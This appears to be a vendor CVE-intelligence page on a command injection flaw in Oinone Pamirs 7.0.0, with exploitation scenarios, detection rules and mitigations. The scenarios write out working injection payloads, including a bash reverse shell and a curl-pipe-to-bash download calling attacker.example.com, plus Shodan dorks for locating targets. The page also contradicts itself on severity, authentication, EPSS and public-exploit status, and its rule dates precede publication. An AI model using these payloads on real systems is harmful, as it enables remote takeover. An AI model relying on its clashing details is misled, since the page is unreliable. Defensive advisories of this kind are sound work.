☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-39054

CVE-2026-39054 Command Injection in mitre
📅 PUBLISHED: 2026-05-15 00:00 UTC 🔄 UPDATED: 2026-10-02 19:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.18%
👁️
2.18% probability
54.5× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 7.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-39054 is a critical command injection vulnerability (CWE-77) in Oinone Pamirs 7.0.0, a low-code/rapid application development platform. The flaw resides in the CommandHelper.executeCommands method, which spawns a shell process and passes attacker-controlled command strings to its standard input without any sanitization or validation. An authenticated attacker capable of influencing command parameters can achieve arbitrary operating system command execution on the underlying host, leading to full system compromise, data exfiltration, lateral movement within the network, and potential ransomware deployment. The vulnerability carries a CVSS base score of 7.3 (High severity), and there is currently no evidence of a vendor patch or official mitigation from any tracked source. While no public exploit code has been confirmed, the vulnerability class and the attack surface it exposes make proactive detection and immediate defensive measures essential.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability is located in the CommandHelper.executeCommands method of Oinone Pamirs version 7.0.0. Oinone Pamirs is a low-code development platform that allows developers to rapidly build enterprise applications through a visual interface, with automatic generation of backend services, database schema, and business logic. The platform includes utility classes for system administration and process management, among which CommandHelper provides wrappers around common operating system commands (file operations, service management, network utilities) for use by application workflows.

The root cause is an absence of input validation on command parameters before they are passed to a shell process. The method executes commands by instantiating a ProcessBuilder or Runtime.exec-like mechanism (typical Java implementation pattern), obtains the process's OutputStream (standard input), and writes the command string directly to it. No filtering is applied to block shell metacharacters such as ;, |, &, $(), \``, > or newline characters. Because the command is interpreted by the operating system's shell (/bin/shorcmd.exe`), an attacker who controls any portion of the command string can append additional commands or redirect execution flow.

The attack surface is exposed through any application workflow, API endpoint, or administrative function within the Pamirs platform that invokes CommandHelper.executeCommands with user-controlled input. Typical entry points include: file management modules that pass filenames to commands like ls or cat; service restart endpoints that concatenate service names into systemctl or service commands; backup/restore utilities that pass path values into archiving commands; and integration connectors that invoke external helper scripts with user-provided arguments. In each case, the parameter value is embedded directly into the command string that is written to the shell process's standard input.

The vulnerability is considered unpatched (patch confidence: 0/4). No vendor advisory, commit, version bump, or workaround has been identified across any tracked source. The affected version range is reported as 7.0.0, with no information about whether earlier versions share the same flaw or whether 7.0.0 is the sole affected release.

Exploitation Scenarios

Scenario 1: Authenticated Remote Code Execution via Service Management Endpoint

  1. Reconnaissance/Discovery: The attacker identifies an Oinone Pamirs 7.0.0 deployment through Shodan or other internet-wide scanning using dorks such as http.title:"Pamirs" or http.component:"Oinone". The attacker enumerates available REST API endpoints by accessing /swagger-ui.html or /v2/api-docs to discover the API surface.

  2. Authentication Bypass/Account Compromise: The attacker either logs in with stolen/default credentials or exploits an associated authentication weakness to obtain a valid session token with permissions to call administrative endpoints.

  3. Vulnerability Trigger: The attacker calls the service control endpoint: POST /api/admin/service/restart with a JSON body where the serviceName field is expected to be a service identifier. Instead of a valid name, the attacker submits the payload: "postgresql; id; whoami" (JSON-encoded). The application passes this string directly into CommandHelper.executeCommands("systemctl restart " + serviceName).

  4. Command Execution: The shell receives systemctl restart postgresql; id; whoami on its standard input. The shell executes the legitimate command (which may fail), then executes id and whoami — the output of these commands is captured and returned in the HTTP response, confirming command injection to the attacker.

  5. Escalation & Persistence: The attacker injects a reverse shell payload: "postgresql; bash -i >& /dev/tcp/attacker.example.com/4444 0>&1". The attacker's listener at attacker.example.com:4444 receives an interactive shell running with the privileges of the application service account.

  6. Post-Exploitation: The attacker enumerates the filesystem, exfiltrates database credentials from configuration files, pivots to the database server, and moves laterally across the enterprise network.

Scenario 2: File Management Module Injection

  1. Targeting: An employee of the victim organization uses the Pamirs-based application to manage file uploads and downloads. The attacker has obtained access to a low-privileged user account through a phishing campaign.

  2. Trigger: The attacker navigates to the file deletion module which calls CommandHelper.executeCommands("rm -f " + filePath). The attacker creates a file with the name: legit_log.txt; curl http://attacker.example.com/payload.sh | bash (using a filename that passes any basic file-extension validation).

  3. Execution: When the file is deleted, the shell executes rm -f legit_log.txt; curl http://attacker.example.com/payload.sh | bash. The payload script downloads and executes, creating a backdoor user and scheduling persistence via cron.

  4. Impact: The attacker now has persistent access to the application server, able to read sensitive business data, modify application logic, and use the host as a foothold for lateral movement.

The exploitation is straightforward — no complex memory corruption or heap fuzzing is required — making this a highly practical attack for intermediate-skilled adversaries. The only requirement is that the attacker can reach the vulnerable application and influence a command parameter.

Impact Assessment

The CVSS base score of 7.3 reflects the High severity of this vulnerability. Given the unambiguous nature of the flaw (unauthenticated shell command injection into an OS shell), the attack complexity is Low, and the potential for privilege escalation is high if the application runs with elevated privileges (a common deployment misconfiguration for such platforms).

  • Confidentiality Impact: High (C:H) — An attacker can read any file readable by the application user, including configuration files, source code, and potentially sensitive business data stored in connected databases.
  • Integrity Impact: High (I:H) — Arbitrary command execution allows modification of files, creation of backdoor accounts, alteration of application logic, and planting of malicious payloads.
  • Availability Impact: High (A:H) — The attacker can shut down critical services, delete data, or deploy ransomware across systems reachable from the compromised host.

The blast radius extends beyond the immediate application server. The compromised host becomes a pivot point for network reconnaissance, credential harvesting via memory scraping or keylogging, and lateral movement to adjacent internal systems, particularly if the Pamirs application is integrated with Active Directory or other enterprise identity systems. Given the nature of low-code platforms as central application orchestrators, the compromised instance likely has service accounts with broad database and messaging system permissions, amplifying the severity.

As of the publication date: no CISA KEV listing, no confirmed exploit-in-the-wild activity, and EPSS at 0.01414 (70.1 percentile). However, given the low complexity and high reward, weaponization is expected once the vulnerability becomes widely known.

Detection Guidance

Detection of CVE-2026-39054 exploitation focuses on identifying anomalous process creation events, unusual shell command invocations originating from the application process (typically Java), and network connections initiated to external hosts from the application server. The following detection rules assume an environment where Java application process activity is logged.

Sigma Rule

title: Oinone Pamirs Command Injection - Shell Spawn from Java Application
id: 8c73c1f4-2b8e-4f9a-b6c1-3e2a1f0d9c4b
status: experimental
description: Detects shell process spawning from a Java process that invokes CommandHelper.executeCommands with suspicious shell metacharacters in command arguments.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39054
author: Valtersit Threat Intel
date: 2026/01/15
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith: '\java.exe'
    selection_shell_exec:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\sh.exe'
            - '\bash.exe'
    selection_commandline_metacharacters:
        CommandLine|contains:
            - '; '
            - '|'
            - '&&'
            - '||'
            - '$('
            - '`'
            - '> /dev/tcp/'
            - 'curl '
            - 'wget '
    condition: selection_parent and selection_shell_exec and selection_commandline_metacharacters
level: high
falsepositives:
    - Legitimate administrative operations that legitimately chain commands via the Java application (low probability)
fields:
    - ParentImage
    - CommandLine
    - User
tags:
    - attack.t1059
    - attack.execution

YARA Rule

rule CVE_2026_39054_Oinone_CommandInjection_String
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects payload strings used to exploit command injection in Oinone Pamirs CommandHelper.executeCommands"
        date = "2026-01-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-39054"
        severity = "high"
        cve = "CVE-2026-39054"
    strings:
        $metachar1 = "; "
        $metachar2 = "|"
        $metachar3 = "&&"
        $metachar4 = "$("
        $metachar5 = "`"
        $reverse_shell = "/dev/tcp/"
        $download_exec = "curl "
        $download_exec2 = "wget "
        $download_exec3 = "Invoke-Expression"
        $pamirs_class = "CommandHelper"
        $pamirs_method = "executeCommands"
        // Common payload snippets
        $payload1 = "; id;"
        $payload2 = "; whoami;"
        $payload3 = "; ls -la;"
        $payload4 = "| bash"
        $payload5 = "python -c "
        $payload6 = "nc -e"
    condition:
        uint16(0) == 0x5A4D and
        (
            (any of ($payload*) and any of ($metachar*)) or
            (any of ($payload*) and filesize < 10MB)
        ) and
        (
            ($pamirs_class and $pamirs_method) or
            (any of ($payload*) and any of ($download_exec*)) or
            $reverse_shell
        )
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-39054 Oinone Pamirs Command Injection Attempt"; flow:established,to_server; content:"POST"; http_method; content:"/api/admin/"; http_uri; nocase; content:"serviceName"; http_client_body; nocase; pcre:"/(?:serviceName|filePath|path|cmd)\\\\?\s*[:=]\s*[\"']?[^\"'&|;]*[\"']?\s*(?:;|\||&&|\$\(|`)/i"; sid:10039054; rev:1; metadata:created_at 2026_01_15, updated_at 2026_01_15; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-39054; classtype:attempted-admin; priority:1;)

Elastic Detection

// EQL rule: Detect Java process spawning shell with injected metacharacters
sequence by process.entity_id with maxspan=5s
  [process where event.type == "start" and process.name == "java.exe" and
     process.args : ("*CommandHelper*", "*executeCommands*")]
  [process where event.type == "start" and
     process.name in ("cmd.exe", "powershell.exe", "sh.exe", "bash.exe") and
     process.command_line : ("*; *", "*|*", "*&&*", "*$( *", "*`*", "*/dev/tcp/*") ]

Splunk SPL Query

index=windows OR index=linux sourcetype=ProcessRollup2 OR sourcetype=Sysmon
| search (Image=*java* OR ParentImage=*java*)
  (CommandLine=*cmd.exe* OR CommandLine=*powershell.exe* OR CommandLine=*/bin/sh* OR CommandLine=*bash*)
  (CommandLine=*"; "* OR CommandLine=*"|"* OR CommandLine=*"&&"* OR CommandLine=*"$("* OR CommandLine=*"`"* OR CommandLine=*"/dev/tcp/"*)
| eval suspicious_metachar_count = 
    if(match(CommandLine, "; "), 1, 0) + 
    if(match(CommandLine, "|"), 1, 0) + 
    if(match(CommandLine, "&&"), 1, 0) + 
    if(match(CommandLine, "\\$\\("), 1, 0) + 
    if(match(CommandLine, "`"), 1, 0) + 
    if(match(CommandLine, "/dev/tcp/"), 2, 0)
| where suspicious_metachar_count >= 2
| table _time, host, User, ParentImage, Image, CommandLine
| sort - _time

Wazuh OSSEC Rule

<group name="oinone,command_injection,">
  <rule id="100390" level="12">
    <decoded_as>syslog|json</decoded_as>
    <field name="win.eventdata.image" type="pcre2">(?i)(cmd\.exe|powershell\.exe|sh|bash)\.exe</field>
    <field name="win.eventdata.parentImage" type="pcre2">(?i)java\.exe</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i).*(;|&&|\|\||\$\()\s*(id|whoami|curl|wget|nc|python|perl|cat|ls|rm|chmod).*</field>
    <description>Possible Oinone Pamirs CVE-2026-39054 command injection - Java process spawning shell with injected command</description>
    <group>oinone,_cve-2026-39054,_command_injection,_execution,</group>
    <mitre>
      <id>T1059</id>
    </mitre>
    <options>no_full_log</options>
  </rule>

  <rule id="100391" level="10">
    <decoded_as>json</decoded_as>
    <field name="auditd.data.syscall" type="pcre2">execve</field>
    <field name="auditd.data.a0" type="pcre2">(?i)(/bin/sh|/bin/bash|/usr/bin/curl|/usr/bin/wget)</field>
    <field name="auditd.data.a1" type="pcre2">.*(; |\|\||\$\()</field>
    <description>Linux post-exploitation of CVE-2026-39054 - suspicious shell/curl/wget exec from web application</description>
    <group>oinone,_cve-2026-39054,_exploitation,</group>
    <mitre>
      <id>T1059</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: No vendor patch is available (patch confidence 0/4 — UNPATCHED). The vendor has not released a fixed version, advisory, or workaround as of this report. The following measures should be applied immediately to reduce exploitation risk.

  1. Immediate Mitigations (compensating controls):

    • Restrict network exposure: Place the Oinone Pamirs application behind a properly configured WAF and/or reverse proxy that filters out shell metacharacters (;, |, &, $(), backticks, > , newlines) from all parameter values destined to the application. Block access to administrative endpoints from untrusted networks.
    • Least-privilege execution: Run the Java application process under a non-privileged service account with minimal filesystem and OS permissions. Disable the account's shell access. Revoke any network egress privileges from the application server (outbound firewall rule blocking direct internet access) to mitigate reverse-shell payloads.
    • Input validation at the proxy/API gateway: Implement a custom rule in the reverse proxy or API gateway that rejects requests where any parameter value matches a regex for common shell metacharacter combinations (/[;&|$><]/`).
    • File system monitoring: Deploy file integrity monitoring on the application directory to detect unexpected modifications.
    • Harden service configuration: If possible, disable or restrict access to the modules in Pamirs that invoke CommandHelper (file management, service management) until a patch is available.
  2. Patch/Upgrade Steps:

    • Monitor the Oinone/Pamirs vendor website, GitHub repository, and security advisory RSS feeds for a patched release (expect version 7.0.1 or 7.1.0).
    • When a patch is released, test the upgrade in a staging environment, then apply to production with a rollback plan. Re-run regression tests on all custom workflows that use CommandHelper.
  3. Long-Term Hardening:

    • Code review: Vendor should replace shell-based command execution with direct API calls or Java NIO equivalents that avoid shell interpretation entirely. If shell execution is unavoidable, enforce strict whitelist validation of all command parameters against a positive-allowlist regex, and never concatenate user input directly into command strings.
    • Principle of least functionality: Disable unused platform modules that expose the vulnerable helper class.
    • Network segmentation: Place the application server in a DMZ subnet with strict East-West firewall rules, preventing lateral movement if compromised.
    • Vulnerability management: Subscribe to CVE feeds and vendor advisories; perform regular static analysis (SAST) of custom application code that interfaces with the platform.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-39054
  2. Vendor Website (Oinone): https://www.oinone.com/ (monitor for advisory)
  3. Vulnerability Description Source: MITRE CVE records — https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39054
  4. CWE-77 Command Injection Reference: https://cwe.mitre.org/data/definitions/77.html
  5. CISA Known Exploited Vulnerabilities Catalog (not listed at time of writing): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat Actor Activity: As of this report, there is no confirmed exploitation in the wild, no evidence of threat actor campaigns targeting this CVE, and no public exploit code or Nuclei template. However, EPSS data (0.01414; 70.1 percentile) and the low complexity of the vulnerability suggest a high likelihood of near-term weaponization and availability in Metasploit/Exploit-DB style repositories. SOC teams should prioritize the detection rules above and treat any anomalous shell activity from Java processes issuing commands with shell metacharacters as a critical incident requiring immediate investigation.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-39054/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.